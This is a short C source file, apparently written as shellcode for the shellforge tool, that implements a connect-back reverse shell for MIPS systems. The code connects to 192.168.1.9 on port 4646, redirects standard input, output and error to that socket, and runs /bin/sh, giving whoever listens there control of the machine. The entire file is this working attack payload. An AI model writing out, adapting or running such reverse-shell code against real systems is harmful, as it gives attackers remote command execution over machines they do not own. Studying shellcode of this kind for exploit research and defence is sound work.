/*
 * Simple connect back shellcode for shellforge
 * Julien TINNES
 *
 * For mips (look SOCK_STREAM)
 * 
 */


/*
#include <sys/socket.h> 
#include <netinet/in.h> 
#include <netinet/ip.h> 
#include "sf.h"
*/

/* sock stream is 2 on mips!! */
#define SOCK_STREAM 2

 
void main(void) {

	int	fd;
	struct sockaddr_in msa;
	char sh[]="/bin/sh";
	char *npoint[]={sh,0};		/* static variables don't work for now on SF MIPS */

	msa.sin_family=AF_INET;
	msa.sin_port=htons(4646);	/* no need to htons this one :) */
	msa.sin_addr.s_addr=IP(192,168,1,9);
	//printf("sock STRAM is %d\n", SOCK_STREAM); 


	if ((fd=socket(PF_INET, SOCK_STREAM, 0)) == -1) /* sock stream is 2 on mips!! */
		exit(1);

	if (connect(fd, (struct sockaddr*)&msa, sizeof(struct sockaddr_in)) == 0) {
		dup2(fd, 0);
		dup2(fd, 1);
		dup2(fd, 2);
		execve(sh, npoint, 0);
	}
	exit(0);
}

	
